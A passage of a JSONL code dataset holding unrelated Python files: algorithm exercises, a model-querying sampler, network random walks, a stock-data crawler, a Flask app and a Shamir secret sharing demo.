print(line)\n if verbose:\n print(proc['command'])\n print('')\n print(line_separator)\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-v', action='store_true', help='show commands')\n args = vars(parser.parse_args())\n\n verbose = args['v']\n\n hostname = socket.gethostname()\n if hostname == 'halmos':\n print('!!! Halmos has GPU 0 and GPU 3 switched !!!\\n')\n\n pretty_print(get_status(), verbose)\n","sub_path":"gpu-status.py","file_name":"gpu-status.py","file_ext":"py","file_size_in_byte":5885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"82364033","text":"# The problem can be found at https://www.geeksforgeeks.org/activity-selection-problem-greedy-algo-1/\n\"\"\"The following implementation assumes that the activities \nare already sorted according to their finish time\"\"\"\ndef printMaxActivities(s,f):\n print(\"Activities selected are:\")\n Activity = 1\n print('0',)\n for i in range(len(s)-1):\n if f[i] < s[i+1]:\n print(i+1,)\n Activity = Activity+1\n else:\n f[i+1]=f[i]\n \n# Driver program to test above function \ns = [1 , 3 , 0 , 5 , 8 , 5] \nf = [2 , 4 , 6 , 7 , 9 , 9] \nprintMaxActivities(s , f) \n","sub_path":"GreedyAlog/Activity_Selection_Problem.py","file_name":"Activity_Selection_Problem.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"646213139","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nBASE_SAMPLER\nCreated on Thu Jan 25 16:25:12 2018\n\n@author: irene\n\nDifferent sampling strategies\nto query pre-trained models and obtain new\nsynthetic datasets.\n\"\"\"\n\nimport scipy\nimport random\nimport logging\nimport numpy as np\nimport pandas as pd\nfrom joblib import Parallel, delayed\nfrom abc import ABCMeta, abstractmethod\nfrom sklearn.base import BaseEstimator\nfrom sklearn.utils import check_array, check_consistent_length\nfrom sklearn.utils import check_random_state\n\ndef check_estimator(estimator):\n \"\"\" Make sure that an estimator implements the necessary methods.\n \"\"\"\n if not hasattr(estimator, \"predict\"):\n raise ValueError(\"The base estimator should implement predict\")\n\ndef check_initial_samples(init_samples, init_labels, n_dim):\n \"\"\" Define initial samples.\n \"\"\"\n if (init_samples is None) and (init_labels is None):\n return np.empty((0, n_dim)), None\n else:\n return init_samples, init_labels\n\ndef define_domain(X, domain):\n mins_ = np.percentile(X, 100-domain, axis=0) if not isinstance(X, pd.DataFrame) else X.quantile(1-domain/100.).values\n maxs_ = np.percentile(X, domain, axis=0) if not isinstance(X, pd.DataFrame) else X.quantile(domain/100.).values\n return mins_, maxs_\n\ndef define_uniques(X):\n uniques_ = [np.unique(X[:, col]) for col in range(X.shape[1])] if not isinstance(X, pd.DataFrame) else [X[col].unique() for col in X.columns]\n return uniques_\n\nclass BaseSampler(object):\n\n def __init__(self,\n max_queries=1000,\n n_exploit=10,\n n_explore=100000,\n n_batch=100,\n step=1e-3,\n random_state=None,\n verbose=False):\n\n self.max_queries = max_queries\n self.n_exploit = n_exploit\n self.n_explore = n_explore\n self.n_batch = n_batch\n self.step = step\n self.random_state = random_state\n self.verbose = verbose\n\n self.logger = logging.getLogger(__name__)\n\n def _make_random_queries_2(self, n_samples):\n \"\"\" Randomly sample the class probability space\n \"\"\"\n print (\"BaseSampler\",\"_make_random_queries 2\")\n\n numeric = np.random.uniform(low=self.mins_, high=self.maxs_, size=(n_samples, self.n_numeric_))\n\n categorical = np.asarray([])\n for i in range(self.n_categorical_):\n categorical = np.append(categorical, np.random.choice(a=self.uniques_[i], size=n_samples, replace=True))\n categorical = np.reshape(categorical, (n_samples, self.n_categorical_), order='F')\n\n X_ = np.column_stack((numeric, categorical)) if not isinstance(self.X, pd.DataFrame) else pd.DataFrame(data=np.column_stack((numeric, categorical)), columns=self.cols_)\n \n if isinstance(self.oracle, BaseEstimator):\n #print (\"isinstance(self.oracle, BaseEstimator) (TRUE): \",isinstance(self.oracle, BaseEstimator))\n y_ = self.oracle.predict(X_)\n else:\n #print (\"isinstance(self.oracle, BaseEstimator) (FALSE:) \",isinstance(self.oracle, BaseEstimator))\n y_temp = self.oracle.predict(X_)\n #print (\"shape X_: \",X_.shape)\n #print (\"shape y_temp: \",y_temp.shape)\n #print (\"argmax :\", np.argmax(self.oracle.predict(X_), axis=0) )\n #y_ = np.argmax(self.oracle.predict(X_), axis=1)\n y_ = np.argmax(self.oracle.predict(X_).reshape(-1,1), axis=1)\n\n return X_, y_.astype(int)\n\n def _make_random_queries(self):\n print (\"BaseSampler\",\"_make_random_queries\")\n assert self.n_explore%self.n_batch == 0\n batch_size = int(self.n_explore/self.n_batch)\n print (\"batch_size: \",batch_size)\n \n X = np.empty(shape=(0, self.n_numeric_+self.n_categorical_)) if not isinstance(self.X, pd.DataFrame) else pd.DataFrame(columns=self.cols_)\n y = np.empty(shape=(0,))\n\n for i in range(self.n_batch):\n self.logger.info('batch {}'.format(i))\n X_hat, y_hat = self._make_random_queries_2(batch_size)\n X = np.vstack((X, X_hat)) if not isinstance(X, pd.DataFrame) else pd.concat([X, X_hat])\n y = np.append(y, y_hat)\n #print (\"test unique: \",np.unique(y,return_counts=True))\n del X_hat, y_hat\n\n return X, y.astype(int)\n\n def _query(self):\n print (\"BaseSampler \", \" _query\")\n pass\n\n def query(self,\n oracle,\n X,\n y=None,\n dtypes=None,\n domain=95):\n\n \"\"\" Query a trained model to obtain predicted class labels.\n\n Parameters\n ----------\n oracle : estimator object\n Trained primary model to use as an oracle\n to make queries. This is assumed to implement `predict` and\n `predict_proba` methods.\n\n X : array-like or sparse matrix, shape = [n_samples, n_features]\n Set of samples, where n_samples is the number of samples and\n n_features is the number of features. Original data points\n (used to define feature domains).\n\n y : array-like, shape = [n_samples] or [n_samples, n_outputs]\n Set of labels, where n_samples is the number of samples.\n\n domain: int, optional (default=95)\n Range of original points to use for domain definition\n during sampling. If 100, the whole range of points is used.\n \"\"\"\n print (\"BaseSampler \", \" query\")\n self.domain= domain\n\n # Check estimator has necessary methods implemented\n if isinstance(oracle, BaseEstimator):\n check_estimator(oracle)\n self.oracle = oracle\n\n # Preprocessing.\n self.X = X\n self.y = y\n dtypes = check_array(dtypes, ensure_2d=False, ensure_min_samples=1, dtype=None)\n \n self.logger.info(type(self.X))\n\n if not isinstance(X, pd.DataFrame):\n check_consistent_length(self.X, self.y)\n else:\n self.cols_ = self.X.columns\n _, self.n_dim_ = self.X.shape\n self.classes_ = np.unique(self.y)\n self.n_classes_ = len(np.unique(self.y))\n self.shrink_ = False\n\n self.logger.info('n_classes: {}'.format(self.n_classes_))\n self.logger.info('classes: {}'.format(self.classes_))\n\n random_state = check_random_state(self.random_state)\n seed = random_state.randint(0, np.iinfo(np.int32).max)\n np.random.seed(seed)\n\n self.n_seeds_ = 0\n\n # Define feature domains\n self.mins_, self.maxs_ = define_domain(self.X[:, dtypes == 'numeric'], self.domain) if not isinstance(self.X, pd.DataFrame) else define_domain(self.X[self.cols_[np.where(dtypes=='numeric')[0]]], self.domain)\n\n self.uniques_ = define_uniques(self.X[:, dtypes == 'categorical']) if not isinstance(self.X, pd.DataFrame) else define_uniques(self.X[self.cols_[np.where(dtypes=='categorical')[0]]])\n self.dtypes_ = dtypes\n self.n_numeric_ = sum(self.dtypes_ == 'numeric')\n self.n_categorical_ = sum(self.dtypes_ == 'categorical')\n\n self.n_queries = 0\n\n return self._query()\n","sub_path":"3_Copies/code_source/sampler/base_Sampler.py","file_name":"base_Sampler.py","file_ext":"py","file_size_in_byte":7223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"497486370","text":"'''\nNeighborhood aliasing procedure used for fast random walks on multilayer networks. \n\nDetails can be found in the paper: \"Fast Embedding of Multilayer Networks: An Algorithm and Application to Group fMRI\" \nby JD Wilson, M Baybay, R Sankar, and P Stillman\n\nPreprint here: https://arxiv.org/pdf/1809.06437.pdf\n\nContributors:\n- Melanie Baybay\nUniversity of San Francisco, Department of Computer Science\n- Rishi Sankar\nHenry M. Gunn High School\n- James D. Wilson (maintainer)\nUniversity of San Francisco, Department of Mathematics and Statistics\n\nQuestions or Bugs? Contact James D. Wilson at jdwilson4@usfca.edu\n'''\n\n\nimport numpy as np\nimport networkx as nx\nimport random\n#import multiprocessing\nimport threading\nimport time\n\n#is is_directed needed?\n\nclass NeighborhoodGen():\n\tdef __init__(self, graph, p, q, thread_limit=1, is_directed=False, weighted=False):\n\t\tself.G = graph\n\t\tself.is_directed = is_directed\n\t\tself.p = p\n\t\tself.q = q\n\t\tself.weighted = weighted\n\t\tself.thread_limit = thread_limit\n\n\t\tself.preprocess_transition_probs()\n\n\tdef multinode2vec_walk(self, w, walk_length, start_node, start_layer_id):\n\t\t'''\n\t\tSimulate a random walk starting from start node. (Generate one neighborhood)\n\t\t'''\n\n\t\tG = self.G\n\t\talias_nodes = self.alias_nodes\n\t\talias_edges = self.alias_edges\n\n\t\twalk = [start_node] #nbrhd\n\t\tcur_layer_id = start_layer_id\n\t\tforce_switch = False\n\t\twhile len(walk) < walk_length:\n\t\t\tcur = walk[-1]\n\t\t\tif not force_switch:\n\t\t\t\tprev_layer_id = cur_layer_id\n\t\t\trandom.seed(1234)\n\t\t\trval = random.random()\n\t\t\tif rval < w or force_switch: #then switch layer CHECK THIS!!\n\t\t\t\ttotal_layers = len(G)\n\t\t\t\trlay = random.randint(0, total_layers - 2)\n\t\t\t\tif rlay >= cur_layer_id:\n\t\t\t\t\trlay += 1\n\t\t\t\tcur_layer_id = rlay\n\t\t\t\tforce_switch = False\n\t\t\tcur_layer = G[cur_layer_id]\n\t\t\ttry:\n\t\t\t\tcur_nbrs = sorted(cur_layer.neighbors(cur))\n\t\t\t\tif len(cur_nbrs) > 0:\n\t\t\t\t\tif len(walk) == 1 or prev_layer_id != cur_layer_id:\n\t\t\t\t\t\twalk.append(cur_nbrs[alias_draw(alias_nodes[cur_layer_id][cur][0], alias_nodes[cur_layer_id][cur][1])])\n\t\t\t\t\telse:\n\t\t\t\t\t\tprev = walk[-2]\n\t\t\t\t\t\tnext = cur_nbrs[alias_draw(alias_edges[cur_layer_id][(prev, cur)][0],\n\t\t\t\t\t\t\talias_edges[cur_layer_id][(prev, cur)][1])]\n\t\t\t\t\t\twalk.append(next)\n\t\t\t\telse:\n\t\t\t\t\tforce_switch = True\n\t\t\t\t\tcontinue\n\t\t\texcept Exception as e:\n\t\t\t\tforce_switch = True\n\t\t\t\tcontinue\n\n\t\treturn walk\n\n\tdef simulate_walks(self, num_walks, walk_length):\n\t\t'''\n\t\tRepeatedly simulate random walks from each node.\n\t\t'''\n\t\tG = self.G\n\t\twalks = {}\n\t\tfor layer in G:\n\t\t\twalks[layer] = []\n\t\t\tnodes = list(layer.nodes())\n\t\t\tprint('Walk iteration:')\n\t\t\tfor walk_iter in range(num_walks):\n\t\t\t\tprint(str(walk_iter+1), '/', str(num_walks))\n\t\t\t\trandom.shuffle(nodes)\n\t\t\t\tfor node in nodes:\n\t\t\t\t\twalks[layer].append(self.node2vec_walk(walk_length=walk_length, start_node=node))\n\n\t\treturn walks\n\n\tdef get_alias_edge(self, src, dst, layer):\n\t\t'''\n\t\tGet the alias edge setup lists for a given edge.\n\t\t'''\n\t\tp = self.p\n\t\tq = self.q\n\n\t\tunnormalized_probs = []\n\t\tfor dst_nbr in sorted(layer.neighbors(dst)):\n\t\t\tif dst_nbr == src:\n\t\t\t\tunnormalized_probs.append(layer[dst][dst_nbr]['weight']/p)\n\t\t\telif layer.has_edge(dst_nbr, src):\n\t\t\t\tunnormalized_probs.append(layer[dst][dst_nbr]['weight'])\n\t\t\telse:\n\t\t\t\tunnormalized_probs.append(layer[dst][dst_nbr]['weight']/q)\n\t\tnorm_const = sum(unnormalized_probs)\n\t\tnormalized_probs = [float(u_prob)/norm_const for u_prob in unnormalized_probs]\n\n\t\treturn alias_setup(normalized_probs)\n\n\tdef preprocess_transition_probs(self):\n\t\t'''\n\t\tPreprocessing of transition probabilities for guiding the random walks.\n\t\t'''\n\t\tG = self.G\n\t\tis_directed = self.is_directed\n\n\t\tself.alias_nodes = {}\n\t\tself.alias_edges = {}\n\t\tself.lock = threading.Lock()\n\n\t\ttlimit = self.thread_limit\n\t\tlayer_count = len(self.G)\n\t\tcounter = 0\n\t\tif tlimit == 1:\n\t\t\tfor i in range(layer_count):\n\t\t\t\tself.preprocess_thread(self.G[i],i)\n\t\telse:\n\t\t\twhile counter < layer_count:\n\t\t\t\tthreads = []\n\t\t\t\trem = layer_count - counter\n\t\t\t\tif rem >= tlimit:\n\t\t\t\t\tfor i in range(tlimit):\n\t\t\t\t\t\tthread = threading.Thread(target=self.preprocess_thread, args=(self.G[counter],counter,))\n\t\t\t\t\t\tthreads.append(thread)\n\t\t\t\t\t\tthread.start()\n\t\t\t\t\t\tcounter += 1\n\t\t\t\telse:\n\t\t\t\t\tfor i in range(rem):\n\t\t\t\t\t\tthread = threading.Thread(target=self.preprocess_thread, args=(self.G[counter],counter,))\n\t\t\t\t\t\tthreads.append(thread)\n\t\t\t\t\t\tthread.start()\n\t\t\t\t\t\tcounter += 1\n\t\t\t\tfor thread in threads:\n\t\t\t\t\tthread.join()\n\n\t\treturn\n\n\tdef preprocess_thread(self, layer, counter):\n\t\tstart_time = time.time()\n\t\tprint(\"Starting thread for layer \" + str(counter))\n\t\talias_nodes = {}\n\t\tfor node in layer.nodes():\n\t\t\tunnormalized_probs = [layer[node][nbr]['weight'] for nbr in sorted(layer.neighbors(node))]\n\t\t\tnorm_const = sum(unnormalized_probs)\n\t\t\tnormalized_probs = [float(u_prob)/norm_const for u_prob in unnormalized_probs]\n\t\t\talias_nodes[node] = alias_setup(normalized_probs)\n\n\t\talias_edges = {}\n\t\ttriads = {}\n\n\t\tif self.is_directed:\n\t\t\tfor edge in layer.edges():\n\t\t\t\talias_edges[edge] = self.get_alias_edge(edge[0], edge[1], layer)\n\t\telse:\n\t\t\tfor edge in layer.edges():\n\t\t\t\talias_edges[edge] = self.get_alias_edge(edge[0], edge[1], layer)\n\t\t\t\talias_edges[(edge[1], edge[0])] = self.get_alias_edge(edge[1], edge[0], layer)\n\n\t\tself.lock.acquire()\n\t\ttry:\n\t\t\tself.alias_nodes[counter] = alias_nodes\n\t\t\tself.alias_edges[counter] = alias_edges\n\t\tfinally:\n\t\t\tself.lock.release()\n\n\t\tprint(\"Finished thread for layer \" + str(counter) + \" in \" + str(time.time() - start_time) + \" seconds.\")\n\n\t\treturn\n\ndef alias_setup(probs):\n\t'''\n\tCompute utility lists for non-uniform sampling from discrete distributions.\n\tRefer to https://hips.seas.harvard.edu/blog/2013/03/03/the-alias-method-efficient-sampling-with-many-discrete-outcomes/\n\tfor details\n\t'''\n\tK = len(probs)\n\tq = np.zeros(K)\n\tJ = np.zeros(K, dtype=np.int)\n\n\tsmaller = []\n\tlarger = []\n\tfor kk, prob in enumerate(probs):\n\t\tq[kk] = K*prob\n\t\tif q[kk] < 1.0:\n\t\t\tsmaller.append(kk)\n\t\telse:\n\t\t\tlarger.append(kk)\n\n\twhile len(smaller) > 0 and len(larger) > 0:\n\t\tsmall = smaller.pop()\n\t\tlarge = larger.pop()\n\n\t\tJ[small] = large\n\t\tq[large] = q[large] + q[small] - 1.0\n\t\tif q[large] < 1.0:\n\t\t\tsmaller.append(large)\n\t\telse:\n\t\t\tlarger.append(large)\n\n\treturn J, q\n\ndef alias_draw(J, q):\n\t'''\n\tDraw sample from a non-uniform discrete distribution using alias sampling.\n\t'''\n\tK = len(J)\n\n\tkk = int(np.floor(np.random.rand()*K))\n\tif np.random.rand() < q[kk]:\n\t\treturn kk\n\telse:\n\t\treturn J[kk]\n","sub_path":"src/nbrhd_gen_walk_nx.py","file_name":"nbrhd_gen_walk_nx.py","file_ext":"py","file_size_in_byte":6416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"176170907","text":"#!/usr/bin/env python\n# coding=utf-8\n'''\n@Author: Jin X\n@Date: 2020-02-25 22:18:16\n@LastEditTime: 2020-02-28 12:22:53\n'''\nimport requests\n\n# stock symbols for Nvida, AMD, Alibaba, Coca-cola, Disney\n# Amazon, BiliBili, Netease, Google, Intel\nstocksName = ['NVDA', 'AMD', 'BABA', 'KO', 'DIS',\n 'AMZN', 'BILI', 'NTES', 'GOOG', 'INTC']\n\n\nurl = 'https://query1.finance.yahoo.com/v8/finance/chart/AMZN'\n\n\npayload = { # Default time period\n 'period1': 1582295400-3600*24*365, # From Feb. 21 2019\n 'period2': 1582295400, # To Feb. 21 2020\n 'interval': '1d',\n 'includePrePost': 'true',\n # 'event': 'div%7Csplit%7Cearn',\n 'lang': 'en-US',\n 'region': 'US',\n # 'crumb': 'd1Iz5Itdme5',\n 'corsDomain': 'finance.yahoo.com'\n}\n\n\ndef requestStocks(periods):\n a = []\n for stock in stocksName:\n payload['symbol'] = stock\n payload['period1'] = periods[0]\n payload['period2'] = periods[1]\n r = requests.get(url, payload)\n result = r.json()['chart']['result'][0]\n # if result[]\n timestamp = result.get('timestamp')\n if timestamp is None:\n return a\n quote = result['indicators']['quote'][0]\n a.append((stock, timestamp, quote))\n return a\n\n\ndef requestStock(name, periods, interval):\n payload['symbol'] = name\n payload['period1'] = periods[0]\n payload['period2'] = periods[1]\n payload['interval'] = interval\n r = requests.get(url, payload)\n result = r.json()['chart']['result'][0]\n timestamp = result.get('timestamp')\n if timestamp is None:\n return None, None\n quote = result['indicators']['quote'][0]\n return timestamp, quote\n\n\nif __name__ == '__main__':\n for stock in stocksName:\n payload['symbol'] = stock\n payload['interval'] = '1d'\n r = requests.get(url, payload)\n result = r.json()['chart']['result'][0]\n timestamp = result['timestamp']\n quote = result['indicators']['quote'][0]\n\n with open(r'./data/1d/{}.csv'.format(stock), 'w+') as f:\n f.write('timestamp,open,close,volume,low,high\\n')\n for qTime, qOpen, qClose, qVolume, qLow, qHigh in \\\n zip(timestamp, quote['open'], quote['close'],\n quote['volume'], quote['low'], quote['high']):\n f.write(\n str([qTime, qOpen, qClose, qVolume, qLow, qHigh])[1:-1]+'\\n')\n\n payload['interval'] = '1h'\n r = requests.get(url, payload)\n result = r.json()['chart']['result'][0]\n timestamp = result['timestamp']\n quote = result['indicators']['quote'][0]\n\n with open(r'./data/1h/{}.csv'.format(stock), 'w+') as f:\n f.write('timestamp,open,close,volume,low,high\\n')\n for qTime, qOpen, qClose, qVolume, qLow, qHigh in \\\n zip(timestamp, quote['open'], quote['close'],\n quote['volume'], quote['low'], quote['high']):\n f.write(\n str([qTime, qOpen, qClose, qVolume, qLow, qHigh])[1:-1]+'\\n')\n","sub_path":"spiders/crawlHistory.py","file_name":"crawlHistory.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"90026272","text":"\"\"\"\nMergesort\n\"\"\"\n\n# Time complexity : O(n*log(n))\ndef mergesort(arr):\n n = len(arr)\n\n # Base Case\n if n <= 1:\n return arr\n\n # Split the arr in two halves\n a, b = arr[:int(n/2)], arr[int(n/2):]\n\n # Sort the two halves recursively\n c = mergesort(a)\n d = mergesort(b)\n\n # Merge the sorted half\n return merge(c, d)\n\n\ndef merge(a, b):\n len_a, len_b = len(a), len(b)\n\n c = []\n len_c = len_a + len_b\n i, j = 0, 0\n for k in range(len_c):\n if i >= len_a:\n c.extend(b[j:])\n break\n if j >= len_b:\n c.extend(a[i:])\n break \n\n if a[i] < b[j]:\n c.append(a[i])\n i += 1\n else:\n c.append(b[j])\n j += 1\n \n return c\n ","sub_path":"chapter1/mergesort/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"357085932","text":"import os\nimport json\nfrom flask import Blueprint, render_template\nfrom products.database import init_db, db_session\nfrom products.models import Product\n\n\nproducts_app = Blueprint(\"products_app\", __name__,\n template_folder=\"./templates\",\n static_folder=\"./static\")\n\ndb_dir_path = os.path.join(os.path.dirname(__file__), 'database/')\ndb_path = os.path.join(db_dir_path, 'products.db')\njson_path = os.path.join(db_dir_path, 'products.json')\n\ntry:\n if not os.path.exists(db_path):\n init_db()\n with open(json_path, 'r', encoding='utf-8') as f:\n data = json.loads(f.read())\n for product in data[\"products\"]:\n db_session.add(Product(\n product[\"author\"], \n product[\"name\"], \n product[\"price\"], \n product[\"description\"], \n product[\"image\"]\n ))\n db_session.commit()\n else:\n init_db()\nexcept Exception as e:\n print(e)\n\n\n@products_app.route('/', methods=['GET'])\ndef all_products_page():\n products = Product.query.all()\n print(products)\n return render_template('products.html', products=products)\n\n\n@products_app.route('//', methods=['GET'])\ndef current_product_page(product_id):\n product = Product.query.get(product_id)\n if product is None:\n return render_template('404.html'), 404\n return render_template('product.html', product=product)\n","sub_path":"products/products_app.py","file_name":"products_app.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"457718412","text":"\"\"\"\nShamir's Secret Sharing Scheme\nAuthor: Rodrigo Castellon\n\nThis short Python program implements Shamir's Secret Sharing Scheme (SSS), which goes like this:\n\nSuppose you have nuclear launch codes that should stay locked with a key, K, unless k of\nn generals decide to obtain the launch codes and use them. SSS allows a dealer to distribute\npublic and private keys (one pair per general) such that when k private keys and their corresponding\npublic keys are known, one can recover the key K.\n\nThis relies on the fact that a polynomial interpolation given n points is unique.\n\n------------- ALGORITHM -------------\nThe algorithm proceeds by the following steps:\n\n# Part 1: Generate keys\n1. Randomly generate n x_i's (public keys).\n\n2. Randomly generate k a_i's (except for a_0, which is designated to be THE secret key a_0 = K),\nwhich correspond to the coefficients in\n\nf(x) = a_0 + a_1 x + a_2 x^2 + ... + a_{k-1} x^{k-1}\n\n3. Compute f(x_i) = y_i for all x_i's and designate those as secret keys to be\ndistributed for every individual.\n\n# Part 2: Recover the secret key K\n4. Obtain any combination k of the n y_i's and their corresponding x_i's.\n\n5. Define the Lagrange Polynomial basis for such a data set:\n\n{f_0(x), ... f_i(x), ..., f_k(x) | f_i(x) = \\prod_{j=0, j!=i}^k (x - x_j) / (x_i - x_j)}\n\n6. Determine that the polynomial interpolation must be\n\np(x) = \\sum_{i=0}^k y_i f_i(x)\n\n7. Determine K = a_0, which will be K = p(0)\n------------- END ALGORITHM -------------\n\nThis implementation uses a finite field of cardinality p = 2**127 - 1 by default (can be changed with\nan argument)\n\nSee more explanation about how it works here:\nhttps://en.wikipedia.org/wiki/Shamir's_Secret_Sharing\n\"\"\"\nimport argparse\n\nfrom utils import *\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description='Shamir\\'s Secret Sharing Scheme', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('-n', help='number of individuals', type=int, default=50)\n parser.add_argument('-k', help='number of individuals necessary to obtain key', type=int, default=20)\n parser.add_argument('-K', help='the secret key', type=int, default=1337)\n parser.add_argument('-p', help='the prime used for the field', type=int, default=2**127 - 1)\n parser.add_argument('-v', help='verbose mode', action='store_true', default=False)\n args = parser.parse_args()\n\n return args\n\ndef main(config):\n print('#### Shamir\\'s Secret Sharing Scheme ####\\n')\n print('p={}'.format(config['p']))\n print('K={} (the key)\\n'.format(config['K']))\n print('#########################################\\n')\n \n public_keys = choose_public_keys(config)\n secret_keys = choose_secret_keys(public_keys, config)\n\n if config['v']:\n print('Distributed public keys:\\n{}'.format(public_keys))\n print('Distributed secret keys:\\n{}\\n'.format(secret_keys))\n\n # choose k random keys\n boolean_mask = np.random.permutation([False]*(secret_keys.shape[0] - config['k']) + [True]*config['k'])\n chosen_secret_keys = secret_keys[boolean_mask]\n chosen_public_keys = public_keys[boolean_mask]\n\n if config['v']:\n print('submitted:')\n print('public keys: {}'.format(chosen_public_keys))\n print('private keys: {}'.format(chosen_secret_keys))\n\n # recover a_0 = K\n K = recover(chosen_secret_keys, chosen_public_keys, config)\n\n print('recovered K={}'.format(K))\n\nif __name__ == '__main__':\n args = parse_arguments()\n config = {'n': args.n, 'k': args.k, 'K': args.K, 'p': args.p, 'v': args.v}\n\n main(config)\n\n","sub_path":"shamir.py","file_name":"shamir.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"628093072","text":"# @Time : 2019/4/24 10:19\n# @Author : Xu Huipeng\n# @Blog : https://brycexxx.github.io/\n\nfrom typing import List\n\n\nclass Solution:\n # 满足题目要求的 O(n^2) 的时间复杂度居然也超时,python 简直醉了\n def lengthOfLIS(self, nums: List[int]) -> int:\n max_length = 1\n length = len(nums)\n states = [[-float('inf') for _ in range(length + 1)] for _ in range(length)]\n states[0][1] = nums[0]\n for i in range(1, length):\n for j in range(max_length):\n if states[i - 1][j] < nums[i]:\n states[i][j + 1] = min(states[i - 1][j + 1], nums[i])\n else:\n states[i][j + 1] = states[i - 1][j + 1]\n if states[i - 1][max_length] < nums[i]:\n max_length += 1\n states[i][max_length] = nums[i]\n return max_length\n\n # 通过\n def lengthOfLIS1(self, nums: List[int]) -> int:\n length = len(nums)\n if length == 0: return 0\n max_length = 1\n states = [[-float('inf')] for _ in range(length)]\n states[0].append(nums[0])\n for i in range(1, length):\n for j in range(max_length):\n if states[i - 1][j] < nums[i]:\n states[i].append(min(states[i - 1][j + 1], nums[i]))\n else:\n states[i].append(states[i - 1][j + 1])\n if states[i - 1][max_length] < nums[i]:\n max_length += 1\n states[i].append(nums[i])\n return max_length\n\n # 降低空间复杂度\n def lengthOfLIS2(self, nums: List[int]) -> int:\n length = len(nums)\n if length == 0: return 0\n max_length = 0\n states = [-float('inf')] * (length + 1)\n for i in range(length):\n for j in range(max_length):\n if states[j] < nums[i]:\n states[j + 1] = min(states[j + 1], nums[i])\n if states[max_length] < nums[i]:\n max_length += 1\n states[max_length] = nums[i]\n return max_length\n\n # 二分法\n def lengthOfLIS3(self, nums: List[int]) -> int:\n length = len(nums)\n if length == 0: return 0\n max_length = 0\n states = [0] * length\n low = 0\n for num in nums:\n high = max_length\n while low < high:\n mid = low + ((high - low) >> 1)\n if states[mid] < num:\n low = mid + 1\n else:\n high = mid\n states[low] = num\n if low == max_length: max_length += 1\n return max_length\n\n\nif __name__ == '__main__':\n nums = [10, 9, 2, 5, 3, 7, 101, 18]\n s = Solution()\n print(s.lengthOfLIS1(nums))\n print(s.lengthOfLIS2(nums))\n print(s.lengthOfLIS3(nums))\n","sub_path":"lengthOfLIS.py","file_name":"lengthOfLIS.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"194142897","text":"import lib\n\nfrom TestLib import TestDriver, TestMain\n\nimport cpplib as clib\n\nclass Driver(TestDriver):\n def __init__(self):\n print (clib.Version())\n TestDriver.__init__(self, [\n (\"x\", TestDriver.FLOAT),\n (\"y\", TestDriver.FLOAT),\n (\"z\", TestDriver.FLOAT)])\n\n def runOne(self, fp, x, y, z):\n fp.write(\"Result: %12.6f\\n\" % (clib.Math.Add(x,y,z)))\n\nif __name__ == \"__main__\": TestMain(Driver, __file__)\n\n\n","sub_path":"sample/product/cpplib/test/regression/drivers/mathAdd.py","file_name":"mathAdd.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"178121158","text":"from django.shortcuts import render\nfrom scanner.models import Organization, Machine\nimport csv\nfrom io import TextIOWrapper, StringIO\nimport code\n# Create your views here.\n\ndef upload(request):\n if 'csv' in request.FILES:\n form_data = TextIOWrapper(request.FILES['csv'].file)\n # csv_file = csv.reader(form_data)\n # csv_file = open(request.FILES['csv'].file, 'r', newline='')\n # reader = csv.reader(csv_file)\n reader = csv.reader(form_data)\n for line in reader:\n org, created = Organization.objects.get_or_create(assignment=line[1])\n org.registry = line[0]\n org.assignment = line[1]\n org.organization = line[2]\n org.organization_address = line[3]\n org.save()\n\n return render(request, 'upload.html')\n else:\n return render(request, 'upload.html')\n","sub_path":"scanner/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476060524","text":"import json\nimport sigutil\nimport validate\n\n#-------------------------------------------\n# Template Records\n#\n# From the specification. Records in a template have a type. Based on type additional\n# properties exist on the record.\n#\n# Most of these map to the zone values, with some naming differences (exceptions are txtConflict*)\n#\n# A host, pointsTo, ttl (int)\n# AAAA host, pointsTo, ttl (int)\n# CNAME host, pointsTo, ttl (int)\n# NS host, pointsTo, ttl (int)\n# TXT host, data, ttl (int), txtConflictMatchingMode, txtConflictMatchingPrefix\n# MX host, pointsTo, priority (int), ttl (int)\n# SRV name, target, protocol, service, priority (int), weight (int), port (int), ttl (int)\n# SPFM host, spfRules\n#\n# Variables are allowed in all of the strings (exceptions are the txtConflict*)\n#\n# @ has special mean when used in two fields.\n#\n# For the host/name field the values are relative. @ is special for empty or relative to the root.\n# So a value @ with domain=foo.com&host=bar would result in bar in the zone.\n# A value of @ with domain=foo.com&host= would result in @.\n#\n# For the pointsTo/target the fields are absolute. @ is special for the root passed in but would be\n# expanded.\n#\n# So a value @ with domain=foo.com&host=bar would result in bar.foo.com in the zone.\n# A value of @ with domain=foo.com&host= would result in foo.com in the zone.\n#\n\n#---------------------------------------------\n# Zone Records\n#\n# This is the full set of records in a delgated zone. A delegated zone typically\n# maps to a registered domain name (foo.com, foo.co.uk). It is the zone that\n# maps to the domain specified in the domain connect calls.\n#\n# Records input/output into a zone contain a type. Based on type, additional properties \n# 